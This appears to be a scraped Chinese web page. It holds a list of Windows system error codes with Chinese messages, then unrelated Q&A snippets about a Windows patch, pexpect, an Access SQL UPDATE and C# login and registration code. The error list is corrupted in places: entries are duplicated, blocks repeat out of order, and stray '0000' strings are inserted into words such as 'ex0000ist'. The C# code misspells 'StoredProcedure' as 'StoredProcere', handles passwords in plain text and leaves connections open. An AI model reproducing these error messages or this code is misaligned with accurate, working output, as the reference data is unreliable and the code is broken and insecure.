191 0x000000BF 无法在 Win32 模式下执行 %1。
192 0x000000C0 操作系统无法执行 %1。
193 0x000000C1 %1 不是正确的 Win32 应用程序。
194 0x000000C2 操作系统无法执行 %1。
195 0x000000C3 操作系统无法执行 %1。
196 0x000000C4 操作系统无法执行 这个应用程序。
197 0x000000C5 操作系统目前无法执行 这个应用程序。
198 0x000000C6 操作系统无法执行 %1。
199 0x000000C7 操作系统无法执行 这个应用程序。
200 0x000000C8 程序代码的区段不可以大于或等于 64KB。
201 0x000000C9 操作系统无法执行 %1。
202 0x000000CA 操作系统无法执行 %1。
203 0x000000CB 系统找不到输入的环境选项。\r
205 0x000000CD 在指令子目录下，没有任何行程有信号副处理程序。
206 0x000000CE 文件名称或扩展名太长。
207 0x000000CF ring 2 堆栈使用中。
207 0x000000CF ring 2 堆栈使用中。
208 0x000000D0 输入的通用档名字符 * 或 ? 不正确， 或指定太多的通用档名字符。
209 0x000000D1 所传送的信号不正确。
210 0x000000D2 无法设定信号处理程序。
212 0x000000D4 区段被锁定，而且无法重新配置。
214 0x000000D6 附加到此程序或动态连结模块的动态连结模块太多。
215 0x000000D7 Can’t nest calls to LoadMole.
230 0x000000E6 The pipe state is invalid.
231 0x000000E7 所有的 pipe instances 都在忙碌中。
232 0x000000E8 The pipe is being closed.
233 0x000000E9 No process is on the other end of the pipe.
234 0x000000EA 有更多可用的资料。
240 0x000000F0 作业阶段被取消。
254 0x000000FE 指定的延伸属性名称无效。
255 0x000000FF 延伸的属性不一致。
259 0x00000103 没有可用的资料。
266 0x0000010A 无法使用 Copy API。
267 0x0000010B 目录名称错误。
275 0x00000113 延伸属性不适用于缓冲区。
276 0x00000114 在外挂的档案系统上的延伸属性档案已经毁损。
277 0x00000115 延伸属性表格文件满。
278 0x00000116 指定的延伸属性代码无效。
278 0x00000116 指定的延伸属性代码无效。
282 0x0000011A 外挂的这个档案系统不支持延伸属性。
288 0x00000120 意图释放不属于叫用者的 mutex0000。
298 0x0000012A semaphore 传送次数过多。
299 0x0000012B 只完成 Read/WriteProcessMemory 的部份要求。
317 0x0000013D 系统找不到位于讯息文件 %2 中编号为 0x0000%1 的讯息。
487 0x000001E7 尝试存取无效的地址。
534 0x00000216 运算结果超过 32 位。
535 0x00000217 信道的另一端有一个行程在接送资料。
536 0x00000218 等候行程来开启信道的另一端。
994 0x000003E2 存取延伸的属性被拒。
995 0x000003E3 由于执行绪结束或应用程序要求，而异常终止 I/O 作业。
996 0x000003E4 重叠的 I/O 事件不是设定成通知状态。
997 0x000003E5 正在处理重叠的 I/O 作业。
998 0x000003E6 对内存位置的无效存取。
999 0x000003E7 执行 inpage 作业发生错误。
1001 0x000003E9 递归太深，堆栈满溢。
1002 0x000003EA 窗口无法用来传送讯息。
1003 0x000003EB 无法完成这项功能。
1004 0x000003EC 旗号无效。
1005 0x000003ED 储存媒体未含任何可辨识的档案系统。 请确定以加载所需的系统驱动程序，而且该储存媒体并未毁损。
1006 0x000003EE 储存该档案的外部媒体发出警告，表示该已开启档案已经无效。
1007 0x000003EF 所要求的作业无法在全屏幕模式下执行。
1008 0x000003F0 An attempt was made to reference a token that does not ex0000ist.
1009 0x000003F1 组态系统登录数据库毁损。
1010 0x000003F2 组态系统登录机码无效。
1011 0x000003F3 无法开启组态系统登录机码。
1012 0x000003F4 无法读取组态系统登录机码。
1013 0x000003F5 无法写入组态系统登录机码。
1014 0x000003F6 系统登录数据库中的一个档案必须使用记录或其它备份还原。 已经还原成功。
1015 0x000003F7 系统登录毁损。其中某个档案毁损、或者该档案的 系统映对内存内容毁损、会是档案无法复原。
1016 0x000003F8 系统登录起始的 I/O 作业发生无法复原的错误。 系统登录无法读入、写出或更新，其中的一个档案 内含系统登录在内存中的内容。
1017 0x000003F9 系统尝试将档案加载系统登录或将档案还原到系统登录中，但是，指定档案的格式不是系统登录文件的格式。
1018 0x000003FA 尝试在标示为删除的系统登录机码，执行不合法的操作。
1018 0x000003FA 尝试在标示为删除的系统登录机码，执行不合法的操作。
1019 0x000003FB 系统无法配置系统登录记录所需的空间。
1020 0x000003FC 无法在已经有子机码或数值的系统登录机码建立符号连结。
1021 0x000003FD 无法在临时机码下建立永久的子机码。
1022 0x000003FE 变更要求的通知完成，但信息 并未透过呼叫者的缓冲区传回。呼叫者现在需要自行列举档案，找出变更的地方。
1051 0x0000041B 停止控制已经传送给其它服务 所依峙的一个服务。
1052 0x0000041C 要求的控制对此服务无效
1016 0x000003F8 系统登录起始的 I/O 作业发生无法复原的错误。 系统登录无法读入、写出或更新，其中的一个档案 内含系统登录在内存中的内容。
1017 0x000003F9 系统尝试将档案加载系统登录或将档案还原到系统登录中，但是，指定档案的格式不是系统登录文件的格式。
1018 0x000003FA 尝试在标示为删除的系统登录机码，执行不合法的操作。
1018 0x000003FA 尝试在标示为删除的系统登录机码，执行不合法的操作。
1019 0x000003FB 系统无法配置系统登录记录所需的空间。
1020 0x000003FC 无法在已经有子机码或数值的系统登录机码建立符号连结。
1021 0x000003FD 无法在临时机码下建立永久的子机码。
1022 0x000003FE 变更要求的通知完成，但信息 并未透过呼叫者的缓冲区传回。呼叫者现在需要自行列举档案，找出变更的地方。
1051 0x0000041B 停止控制已经传送给其它服务 所依峙的一个服务。
1052 0x0000041C 要求的控制对此服务无效
1052 0x0000041C 要求的控制对此服务无效
1053 0x0000041D The service did not respond to the start or control request in a timely fashion. 1054 0x0000041E 无法建立服务的执行绪。
1055 0x0000041F 服务数据库被锁定。
1056 0x00000420 这种服务已经在执行。
1057 0x00000421 帐户名称错误或者不存在。
1058 0x00000422 指定的服务暂停作用，无法激活。
1059 0x00000423 指定循环服务从属关系。
1060 0x00000424 指定的服务不是安装进来的服务。
1061 0x00000425 该服务项目此时无法接收控制讯息。
1062 0x00000426 服务尚未激活。
1063 0x00000427 无法联机到服务控制程序。
1064 0x00000428 处理控制要求时，发生意外状况。
1065 0x00000429 指定的数据库不存在。
1066 0x0000042A 服务传回专属于服务的错误码。
1067 0x0000042B The process terminated unex0000pectedly.
1068 0x0000042C 从属服务或群组无法激活。
1069 0x0000042D 因为登入失败，所以没有激活服务。
1070 0x0000042E 在激活之后，服务在激活状态时当机。
1071 0x0000042F 指定服务数据库锁定无效。
1072 0x00000430 指定的服务已经标示为删除。
1073 0x00000431 指定的服务已经存在。
1074 0x00000432 系统目前正以上一次执行成功的组态执行。
1075 0x00000433 从属服务不存在，或已经标示为删除。
1076 0x00000434 目前的激活已经接受上一次执行成功的 控制设定。
1077 0x00000435 上一次激活之后，就没有再激活服务。
1078 0x00000436 指定的名称已经用于服务名称或服务显示 名称。
1100 0x0000044C 已经到了磁带的最后。
1101 0x0000044D 到了档案标示。
1102 0x0000044E 遇到磁带的开头或分割区。
1100 0x0000044C 已经到了磁带的最后。
1101 0x0000044D 到了档案标示。
1102 0x0000044E 遇到磁带的开头或分割区。
1103 0x0000044F 到了档案组的结尾。
1104 0x00000450 磁带没有任何资料。
1105 0x00000451 磁带无法制作分割区。
1106 0x00000452 存取多重容体的新磁带时，发现目前 区块大小错误。
1107 0x00000453 加载磁带时，找不到磁带分割区信息。
1108 0x00000454 无法锁住储存媒体退带功能。
1108 0x00000454 无法锁住储存媒体退带功能。
1109 0x00000455 无法解除加载储存媒体。
1110 0x00000456 磁盘驱动器中的储存媒体已经变更。
1111 0x00000457 已经重设 I/O 总线。
1112 0x00000458 磁盘驱动器没有任何储存媒体。
1113 0x00000459 目标 multi-byte code page，没有对应 Unicode 字符。
1114 0x0000045A 动态链接库 (DLL) 起始例程失败。
1115 0x0000045B 系统正在关机。
1116 0x0000045C 无法中止系统关机，因为没有关机的动作在进行中。
1117 0x0000045D 因为 I/O 装置发生错误，所以无法执行要求。
1118 0x0000045E 序列装置起始失败，会取消加载序列驱动程序。
1119 0x0000045F 无法开启装置。这个装置与其它装置共享岔断要求 (IRQ)。至少已经有一个使用同一IRQ 的其它装置已经开启。
1120 0x00000460 A serial I/O operation was completed by another write to the serial port(The IOCTL_SERIAL_x0000OFF_COUNTER reached zero.)
1121 0x00000461 因为已经过了逾时时间，所以序列 I/O 作业完成。
(IOCTL_SERIAL_x0000OFF_COUNTER 不是零。)
1122 0x00000462 在磁盘找不到任何的 ID 地址标示。
1123 0x00000463 磁盘扇区 ID 字段与磁盘控制卡追踪地址 不符。
1124 0x00000464 软式磁盘驱动器控制卡回报了一个软式磁盘驱动器驱动程序无法识别的错误。
1125 0x00000465 软式磁盘驱动器控制卡传回与缓存器中不一致的结果。
1126 0x00000466 存取硬盘失败，重试后也无法作业。
1127 0x00000467 存取硬盘失败，重试后也无法作业。
1128 0x00000468 存取硬盘时，必须重设磁盘控制卡，但是 连重设的动作也失败。
1129 0x00000469 到了磁带的最后。
1130 0x0000046A 可用服务器储存空间不足，无法处理这项指令。
1131 0x0000046B 发现潜在的死锁条件。
1132 0x0000046C 指定的基本地址或档案位移没有适当 对齐。
1140 0x00000474 尝试变更系统电源状态，但其它的应用程序或驱动程序拒绝。
1141 0x00000475 系统 BIOS 无法变更系统电源状态。
1150 0x0000047E 指定的程序需要新的 Windows 版本。
1151 0x0000047F 指定的程序不是 Windows 或 MS-DOS 程序。
1152 0x00000480 指定的程序已经激活，无法再激活一次。
1153 0x00000481 指定的程序是为旧版的 Windows 所写的。
1154 0x00000482 执行此应用程序所需的链接库档案之一毁损。
1155 0x00000483 没有应用程序与此项作业的指定档案建立关联。
1156 0x00000484 传送指令到应用程序发生错误。
1157 0x00000485 找不到执行此应用程序所需的链接库档案。
1200 0x000004B0 指定的装置名称无效。
1201 0x000004B1 装置现在虽然未联机，但是它是一个记忆联机。
1202 0x000004B2 尝试记忆已经记住的装置。
1203 0x000004B3 提供的网络路径找不到任何网络提供程序。
1203 0x000004B3 提供的网络路径找不到任何网络提供程序。
1204 0x000004B4 指定的网络提供程序名称错误。
1205 0x000004B5 无法开启网络联机设定文件。
1206 0x000004B6 网络联机设定文件坏掉。
1207 0x000004B7 无法列举非容器。
1208 0x000004B8 发生延伸的错误。
1209 0x000004B9 指定的群组名称错误。
1210 0x000004BA 指定的计算机名称错误。
1211 0x000004BB 指定的事件名称错误。
1212 0x000004BC 指定的网络名称错误。
1213 0x000004BD 指定的服务名称错误。
1214 0x000004BE 指定的网络名称错误。
1215 0x000004BF 指定的资源共享名称错误。
1216 0x000004C0 指定的密码错误。
1217 0x000004C1 指定的讯息名称错误。
1218 0x000004C2 指定的讯息目的地错误。
1219 0x000004C3 所提供的条件与现有的条件组发生冲突。
1220 0x000004C4 尝试与网络服务器联机，但是 与该服务器的联机已经太多。
1221 0x000004C5 其它网络计算机已经在使用这个工作群组或网域名称。

㈣ 急啊.求救,帮我机子弄好了,我再加分.

应该可以把补丁去掉的，你到C盘的WINDOWS目录下去看看，把你打的补丁删了试试！

㈤ python 在windows中如何安装pexpect呢python使用什么版本，pexpec

可以使用winpexpect

㈥ 高手帮我看看这句SQL语句有什么问题

应当改成
UPDATE Fnum a,pecnum b SET a.M1 = b.数量 WHERE a.部门 = b.单位 and 月份=1;

有关access与mssql语法的区别请参考这里
http://www.fjcmw.net/mycode/show/view.asp?aid=22&color=sql

㈦ c#与数据库连接的问题

这是数据访问层
public int yanzheng(string uid,string pwd)
{
SqlConnection conn = new SqlConnection(ConfigurationSettings.AppSettings["conn"]);
SqlCommand cmd = new SqlCommand();
cmd.Connection = conn;
cmd.CommandText = "dengluyanzheng";
cmd.CommandType = CommandType.StoredProcere;
conn.Open();
SqlParameter puid = new SqlParameter("@id",SqlDbType.NVarChar,16);
puid.Value = uid;
cmd.Parameters.Add(puid);
SqlParameter ppwd = new SqlParameter("@pwd",SqlDbType.VarChar,12);
ppwd.Value = pwd;
cmd.Parameters.Add(ppwd);
int a = Convert.ToInt32(cmd.ExecuteReader().Read());
return a;
}
public int zhuce(string uid,string pwd)
{
SqlConnection conn = new SqlConnection(ConfigurationSettings.AppSettings["conn"]);
SqlCommand cmd = new SqlCommand();
cmd.Connection = conn;
cmd.CommandText = "zhuce";
cmd.CommandType = CommandType.StoredProcere;
conn.Open();
SqlParameter puid = new SqlParameter("@id",SqlDbType.NVarChar,16);
puid.Value = uid;
cmd.Parameters.Add(puid);
SqlParameter ppwd = new SqlParameter("@pwd",SqlDbType.VarChar,12);
ppwd.Value = pwd;
cmd.Parameters.Add(ppwd);
int a = Convert.ToInt32(cmd.ExecuteReader().Read());
return a;
}
界面层的登陆
private void Button1_Click(object sender, System.EventArgs e)
{
if(yz.yanzheng(Name.Text.ToString(),Password.Text.ToString())==1)
{
Session["uid"] = Name.Text.ToString();
Response.Write("<script language=javascript>alert('登陆成功');location.href='EnterThings.aspx';</script>");

}
else
{
Response.Write("<script language=javascript>alert('用户名或密码错误');</script>");
}
}
注册
private void Button1_Click(object sender, System.EventArgs e)
{
if(yz.yanzheng(TextBox1.Text.ToString(),TextBox2.Text.ToString())==1)
{
Response.Write("<script language = javascript>alert('该用户名已经注册')</script>");
TextBox1.Text = "";
}
else
{
yz.zhuce(TextBox1.Text.ToString(),TextBox2.Text.ToString());
Response.Write("<SCRIPT language=JavaScript>alert('注册成功');location.href='EnterThings.aspx';</SCRIPT>");
Session["uid"] = TextBox1.Text.ToString();
}
}